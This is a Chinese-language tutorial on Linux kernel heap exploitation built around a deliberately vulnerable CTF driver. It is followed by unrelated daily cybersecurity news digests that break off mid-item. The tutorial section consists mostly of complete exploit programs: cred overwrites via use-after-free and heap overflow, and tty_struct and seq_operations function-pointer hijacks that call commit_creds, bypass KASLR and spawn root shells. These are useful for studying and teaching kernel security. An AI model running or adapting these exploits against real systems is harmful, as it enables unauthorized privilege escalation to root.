Linux kernel 堆溢出利用方法
前言
本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。
概述
Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理所有可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。
budy system
buddy system 以 page 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:
分配:
首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。
若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。
释放:
将对应的连续内存页释放到对应的链表上。
检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。
slub allocator
slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。
分配:
首先从 kmem_cache_cpu 上取对象,若有则直接返回。
若 kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。
若 kmem_cache_node 的 partial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu,取空闲对象返回上层调用。
释放:
若被释放 object 属于 kmem_cache_cpu 的 slub,直接使用头插法插入当前 CPU slub 的 freelist。
若被释放 object 属于 kmem_cache_node 的 partial 链表上的 slub,直接使用头插法插入对应 slub 的 freelist。
若被释放 object 为 full slub,则其会成为对应 slub 的 freelist 头节点,且该 slub 会被放置到 partial 链表。
heap_bof
题目分析
题目给了源码,存在UAF和heap overflow两种漏洞。内核版本为4.4.27
#include <asm/uaccess.h>
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/types.h>
struct class *bof_class;
struct cdev cdev;
int bof_major = 256;
char *ptr[40];// 指针数组,用于存放分配的指针
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
struct param p_arg;
copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
long retval = 0;
switch (cmd) {
case 9:
copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
break;
case 8:
copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
break;
case 7:
kfree(ptr[p_arg.idx]);
printk("free: 0x%p\n", ptr[p_arg.idx]);
break;
case 5:
ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
break;
default:
retval = -1;
break;
}
return retval;
}
static const struct file_operations bof_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};
static int bof_init(void) {
//设备号
dev_t devno = MKDEV(bof_major, 0);
int result;
if (bof_major)//静态分配设备号
result = register_chrdev_region(devno, 1, "bof");
else {//动态分配设备号
result = alloc_chrdev_region(&devno, 0, 1, "bof");
bof_major = MAJOR(devno);
}
printk("bof_major /dev/bof: %d\n", bof_major);
if (result < 0) return result;
bof_class = class_create(THIS_MODULE, "bof");
device_create(bof_class, NULL, devno, NULL, "bof");
cdev_init(&cdev, &bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
return 0;
}
static void bof_exit(void) {
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major, 0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major, 0), 1);
printk("bof exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep和smap。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
kernel Use After Free
利用思路
cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, BOF_MALLOC, &p);
ioctl(fd, BOF_FREE, &p);
int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, BOF_EDIT, &p); // 修改用户ID
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。
// kernel version == 4.4.72
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
heap overflow
溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。
利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 让驱动分配 0x40 个 0xa8 的内存块
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
}
tty_struct 劫持
boot.sh
这道题gadget较少,我们就关了smep保护。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
const struct tty_operations *ops;
...
}
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
使用 tty 设备的前提是挂载了 ptmx 设备。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;
void get_shell()
{
system("/bin/sh");
}
unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
void get_root() {
// 通过栈上残留地址来绕过 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -= 0xffffffff814f604f;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
int main(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
get_root
};
// len buf idx
struct param p = {0x2e0, malloc(0x2e0), 0};
printf("[*]p_addr==>%p\n", &p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len = 0x2e0;
ioctl(bof_fd, BOF_MALLOC, &p);
memset(p.buf, '\xff', 0x2e0);
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(bof_fd, BOF_FREE, &p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
*(size_t *)&p.buf[0x18] = &fake_tty_ops;
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(ptmx_fd, 0, 0);
return 0;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx;// 表示 ptr 数组的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
// 通过栈上的残留值绕过KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, BOF_MALLOC, &p);
}
memset(p.buf, '\xff', p.len);
ioctl(bof_fd, BOF_EDIT, &p);
// 大量喷洒 seq_ops 结构体。
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT, &p);
puts("[*] Heap overflow finished.");
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
网络安全日报 2024年10月18日
1、Astaroth银行木马对巴西政府机构等发起攻击
https://www.trendmicro.com/en_us/research/24/j/water-makara-uses-obfuscated-javascript-in-spear-phishing-campai.html Astaroth银行木马(又称Guildma)通过一次新型定向钓鱼攻击重返巴西,主要针对制造业、零售业和政府机构。攻击者伪装成官方税务文件,以个人所得税申报的紧迫性为诱饵,诱使用户下载恶意软件。受害者通过下载一个包含受感染Windows快捷方式的ZIP文件启动攻击,这一文件利用合法的mshta.exe执行混淆的JavaScript指令,并连接到命令与控制服务器(
2、超200款恶意应用侵入Google Play下载量达800万次
https://www.zscaler.com/blogs/security-research/new-threatlabz-report-mobile-remains-top-threat-vector-111-spyware-growth 研究人员发现,Google Play在2023年6月至2024年4月期间分发了200多款恶意应用,总下载量接近800万次。这些应用多属于工具、个性化、摄影等类别,常见的恶意软件家族包括窃取信息的Joker、展示广告的Adware,以及Facebook凭证窃取器Facestealer等。尽管Google拥有检测机制,攻击者仍通过应用更新或服务器加载绕过验
3、GitHub修复关键漏洞防止未经授权访问企业服务器实例
https://docs.github.com/en/enterprise-server@3.14/admin/release-notes GitHub近日发布了安全更新,修复了多个影响GitHub Enterprise Server (GHES) 的漏洞,其中包括一个严重漏洞CVE-2024-9487,CVSS评分为9.5分。该漏洞允许攻击者通过绕过SAML单点登录(SSO)认证机制,未经授权访问企业实例。该问题源于加密断言特性中加密签名验证不当。此次更新还修补了其他漏洞,包括信息泄露漏洞CVE-2024-9539及管理控制台中的敏感数据曝光问题。受影响的企业服务器用户被强烈建议立即更新到
4、CISA警告SolarWinds帮助台软件漏洞正被积极利用
https://www.cisa.gov/news-events/alerts/2024/10/15/cisa-adds-three-known-exploited-vulnerabilities-catalog 美国网络安全与基础设施安全局(CISA)将SolarWinds Web Help Desk (WHD) 软件的关键漏洞CVE-2024-28987加入已知被利用漏洞目录(KEV)。该漏洞评分为9.1,涉及硬编码凭据,允许未经身份验证的远程攻击者访问内部功能并修改数据。研究显示,攻击者可读取和修改帮助台工单中的敏感信息,如密码重置请求和共享服务账户凭据。尽管尚不清楚具体攻击者,联邦机
5、F5 BIG-IP 更新补丁高严重性特权提升漏洞
https://www.securityweek.com/f5-big-ip-updates-patch-high-severity-elevation-of-privilege-vulnerability/ F5 已针对 BIG-IP 中的高严重性权限提升漏洞和 BIG-IQ 中的中度严重性错误发布了补丁。
6、巴西警方逮捕臭名昭著的黑客 USDoD
https://www.securityweek.com/brazilian-police-arrest-notorious-hacker-usdod/ 巴西联邦警察周三宣布逮捕了一名黑客,其描述与臭名昭著的泄密者 USDoD 的描述相符。USDoD(又名 EquationCorp)泄露了从主要组织窃取的大量信息。他的目标包括 FBI 的InfraGard门户、空客、 TransUnion 、国家公共数据 (NPD)和CrowdStrike。
7、Apache Solr 中的关键身份验证绕过漏洞已修复
https://securityonline.info/cve-2024-45216-critical-authentication-bypass-vulnerability-patched-in-apache-solr/ Apache Solr 是一个高度可靠且可扩展的搜索平台,为世界上一些最大的互联网站点的搜索功能提供支持,它已成为两个新披露的安全漏洞 CVE-2024-45216 和 CVE-2024-45217 的目标。这些漏洞给运行受影响的 Solr 实例的组织带来严重风险,可能导致身份验证绕过和未经授权的代码执行。
8、英国政府推出人工智能安全计划以应对 Deepfakes
https://www.infosecurity-magazine.com/news/uk-government-launches-ai-safety 英国政府宣布了一项新的人工智能安全研究计划,希望通过提高对深度造假、错误信息、网络攻击和其他人工智能威胁的抵御能力来加速该技术的采用。
9、谷歌:2023年被利用的漏洞70%是0Day
https://www.freebuf.com/news/413018.html 谷歌Mandiant安全分析师警告称,攻击者发现和利用软件零日漏洞的能力增长已成为一个令人担忧的新趋势。在2023年披露的138个被积极利用的漏洞中,有97个(70.3%)是0 Day漏洞,意味着大量漏洞在被供应商知道或修补之前就被攻击者用来实施攻击。
10、中国网络空间安全协会:建议对英特尔启动网络安全审查
https://www.secrss.com/articles/71274 漏洞频发、故障率高,应系统排查英特尔产品网络安全风险。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年10月17日
1、朝鲜黑客推出Linux版FASTCash窃取ATM资金
https://doubleagent.net/fastcash-for-linux/ 朝鲜黑客组织“Hidden Cobra”正在使用一种新的Linux版本的FASTCash恶意软件,攻击金融机构的支付交换系统,实施未经授权的现金提取。此前该恶意软件的目标是Windows和IBM AIX系统,但最新的研究显示,FASTCash的新变种专门针对Ubuntu 22.04 LTS系统。该恶意软件通过修改支付系统中的ISO8583交易消息,将“拒绝”交易改为“批准”,使黑客得以从ATM中非法提取资金。FASTCash自2016年首次被发现以来,已经在30多个国家造成数千万美元的损失。
2、Jetpack插件修复重大漏洞影响2700万WordPress网站
https://wordpress.org/news/2024/10/secure-custom-fields/ Jetpack插件的维护团队发布了安全更新,修复了一个关键漏洞,该漏洞允许登录用户访问其他访客提交的表单。Jetpack由WordPress母公司Automattic开发,是一款集成安全性、性能和流量增长工具的插件,现被用于2700万个网站。此漏洞存在于Jetpack的联系表单功能中,自2016年发布的版本3.9.9起一直未被修复。Jetpack团队与WordPress.org安全团队密切合作,已自动为安装该插件的网站更新至安全版本。尽管目前没有证据表明该漏洞已被利用,但随着该问
3、思科调查黑客在论坛出售被盗资料事件
https://www.bleepingcomputer.com/news/security/cisco-investigates-breach-after-stolen-data-for-sale-on-hacking-forum/ 思科正在调查一起数据泄露事件,黑客声称在10月6日入侵了该公司,并在黑客论坛上出售大量被盗的开发者数据。根据黑客“IntelBroker”的帖子,泄露的数据包括GitHub项目、GitLab项目、源代码、硬编码凭证、客户信息、API令牌、SSL证书等敏感资料。IntelBroker还分享了部分数据样本,显示其中包含数据库、客户文档和客户管理门户的截图。思科发言
4、EDR Silencer红队工具遭黑客滥用
https://www.freebuf.com/news/412912.html 近日,研究人员在恶意事件中观察到一种名为 EDRSilencer 的红队操作工具。EDRSilencer 识别安全工具后会将其向管理控制台发出的警报变更为静音状态。网络安全公司 Trend Micro 的研究人员说,攻击者正试图在攻击中整合 EDRSilencer,以逃避检测。
5、2024年全球数据贩卖、勒索攻击等黑产事件大幅上升
https://www.freebuf.com/articles/neopoints/412920.html 据国内网安公司威胁猎人发布的《2024年上半年数据泄露风险态势报告》显示,2024年上半年监测有效的数据泄露事件较2023年下半年增长59.58%;监测到涉及真实数据泄露事件的黑产团伙较2023年下半年增长近一倍。
6、OpenAI 确认黑客使用 ChatGPT 编写恶意软件
https://www.bleepingcomputer.com/news/security/openai-confirms-threat-actors-use-chatgpt-to-write-malware/ OpenAI 已经破坏了 20 多项恶意网络操作,滥用其人工智能聊天机器人 ChatGPT 来调试和开发恶意软件、传播错误信息、逃避检测和进行鱼叉式网络钓鱼攻击。
7、Nvidia NeMo Gen-AI 框架存在代码执行、数据篡改漏洞
https://www.securityweek.com/code-execution-data-tampering-flaw-in-nvidia-nemo-gen-ai-framework/ 人工智能技术巨头 Nvidia 指出其 NeMo 生成人工智能框架存在重大安全缺陷,警告恶意黑客可以利用该平台执行代码并篡改系统上的数据。
8、VMware 修复了HCX 平台中的高危 SQL 注入漏洞
https://www.securityweek.com/vmware-patches-high-severity-sql-injection-flaw-in-hcx-platform/ VMWare 周三呼吁紧急关注困扰其面向企业的 HCX 应用程序移动平台用户的一个关键远程代码执行缺陷。该漏洞标记为CVE-2024-38814 ,CVSS 严重性评分为 8.8/10,允许具有非管理员权限的攻击者在 HCX 管理器上执行远程代码。
9、Android 15 推出新防盗、应用程序保护功能
https://www.securityweek.com/android-15-rolling-out-with-new-theft-application-protection-features/ 谷歌周二开始向 Pixel 设备交付 Android 15,并进行了大量安全改进,包括防盗保护和敏感应用程序的私人空间。
10、FIDO 联盟起草新协议以简化跨不同平台的密钥传输
https://thehackernews.com/2024/10/fido-alliance-drafts-new-protocol-to.html FIDO 联盟表示,随着超过 120 亿个在线帐户可以通过无密码登录方法进行访问,该联盟正在努力使密钥和其他凭证更容易在不同提供商之间导出,并提高凭证提供商的互操作性。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年10月16日
1、TrickMo银行木马通过假锁屏窃取Android用户PIN码
https://www.zimperium.com/blog/expanding-the-investigation-deep-dive-into-latest-trickmo-samples/ 据研究人员报道,TrickMo Android银行木马的40个新变种已被发现,其核心功能之一是通过伪造锁屏界面窃取用户的Android PIN码。该恶意软件利用Accessibility Service权限自动获得更多系统控制权限,并使用钓鱼登录页面盗取银行账户凭据。此外,TrickMo通过虚假锁屏诱导用户输入解锁图案或PIN码,攻击者随后通过后台脚本获取该信息并进行设备解锁,实施欺诈操作。研究人员
2、开源生态中供应链攻击风险激增
https://checkmarx.com/blog/this-new-supply-chain-attack-technique-can-trojanize-all-your-cli-commands/ 研究人员发现,攻击者可通过多个编程生态系统中的切入点,发起软件供应链攻击。这些切入点,包括PyPI、npm、Ruby Gems、NuGet等,能够在开发者执行特定命令时执行恶意代码,绕过传统安全防护。研究表明,攻击者通过冒充常用命令和插件,如aws、docker等,窃取敏感信息,或使用“命令包装”等隐蔽手段,以执行恶意代码且不被察觉。此外,恶意插件和扩展也能篡改代码行为。报告指出,传统安全
3、荷兰警方联合行动摧毁暗网市场Bohemia/Cannabia
https://securityaffairs.com/169743/cyber-crime/dutch-police-dismantled-dark-web-market-bohemia-cannabia.html 荷兰警方宣布成功关闭了暗网市场Bohemia和Cannabia,这两个平台长期以来是非法商品、毒品和网络犯罪服务的主要交易场所。此次行动得到了英、美、爱尔兰等国执法部门的协助,自2022年底开始展开调查。Bohemia市场在2023年由于服务中断停止运营,交易量每月达67000笔,9月的营业额高达1200万欧元。警方调查发现,仅荷兰就进行了至少170万欧元的交易。多名管理员已被
4、思科再遭数据泄露,数家大厂跟着遭殃
https://www.freebuf.com/news/412837.html 据Hackread研究团队发现,名为IntelBroker的黑客声称已从网络巨头思科窃取了数据,并关联到一些知名公司的源代码,包括微软、亚马逊、AT&T等,相关数据已在黑客论坛Breach Forums 上出售。
5、为避免黑客入侵,荷兰政府将更换该国交通信号灯
https://cybernews.com/news/dutch-government-will-replace-hackable-traffic-lights/ 在研究人员发现一个很容易被威胁行为者利用的严重漏洞后,荷兰政府将更换数千个道路交通信号灯。
6、Windows将新增安全功能以限制管理员权限
https://www.darkreading.com/endpoint-security/windows-preview-limit-administrator-privileges 微软在其最新的 Windows 预览版中引入了一项重大的安全升级,旨在锁定本地管理员权限,防止威胁行为者轻松提升权限并限制横向移动。
7、超87000台 FortiOS 设备易受远程代码执行攻击
https://cybersecuritynews.com/87000-fortios-rce-attacks/ 该漏洞被确定为 CVE-2024-23113,影响了 FortiOS、FortiProxy、FortiPAM 和 FortiWeb 产品的多个版本。
8、Splunk修补关键漏洞,包括远程代码执行漏洞
https://www.anquanke.com/post/id/300899 数据分析和安全监控平台 Splunk 发布了一系列安全更新,以解决 Splunk Enterprise 和 Splunk Cloud Platform 中的多个漏洞。这些漏洞的严重程度不一,有些可实现远程代码执行(RCE),有些则允许低权限用户访问敏感信息。
9、中国研究人员发现量子计算机破解RSA加密已具备现实攻击能力
https://www.secrss.com/articles/71231 该研究利用D-Wave量子计算机成功分解了22位比特整数2269753,相比过往成果大幅提升了现实威胁性;该研究认为,量子退火对RSA的攻击效果大幅超过其他量子计算技术,并可以推广至其他公钥密码和对称密码的安全性评估。
10、研究人员揭露严重Zendesk邮件欺骗漏洞获得5W美金赏金
https://www.anquanke.com/post/id/300891 安全研究员 Daniel 通过详细分析发现,Zendesk 的电子邮件管理系统中存在一个严重漏洞,该漏洞被追踪为 CVE-2024-49193。该漏洞使使用 Zendesk 的公司面临危险的电子邮件欺骗漏洞,该漏洞允许未经授权访问敏感的支持票单历史记录。尽管 Zendesk 最初对该报告不予置评,但问题的严重性已昭然若揭,迫使企业立即采取行动。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年10月15日
1、网络攻击重创伊朗政府及核设施致信息被窃取
https://www.news18.com/world/iran-hit-by-heavy-cyberattacks-targeting-its-nuclear-facilities-amid-middle-east-tensions-9083699.html 随着中东局势升级,伊朗遭遇大规模网络攻击,重创政府部门并波及核设施。此次攻击发生在10月1日伊朗发射导弹后,以色列承诺作出回应的背景下。伊朗前网络空间最高委员会秘书阿布哈桑·菲鲁扎巴迪对外证实,几乎所有政府部门,包括司法、立法和行政机关,都受到了网络攻击,敏感信息被窃取。此外,伊朗的核设施、燃料分配、交通运输、港口等多个关键基础设施
2、GitHub与Telegram机器人被滥用推动新一波钓鱼攻击
https://cofense.com/blog/tax-extension-malware-campaign 近期观察到一场针对保险和金融行业的新型钓鱼攻击,利用GitHub链接绕过安全措施并投放Remcos远程访问木马(RAT)。攻击者通过合法的GitHub仓库,如税务软件UsTaxes及HMRC等上传恶意文件,诱骗用户下载。研y究显示,攻击者在GitHub提交问题并上传恶意文件后,立即删除评论,但文件链接仍然有效。此类攻击通过自动化工具和互动聊天机器人提高了欺诈效率,扩大了受害范围。
3、Game Freak遭遇黑客攻击开发数据大规模泄露
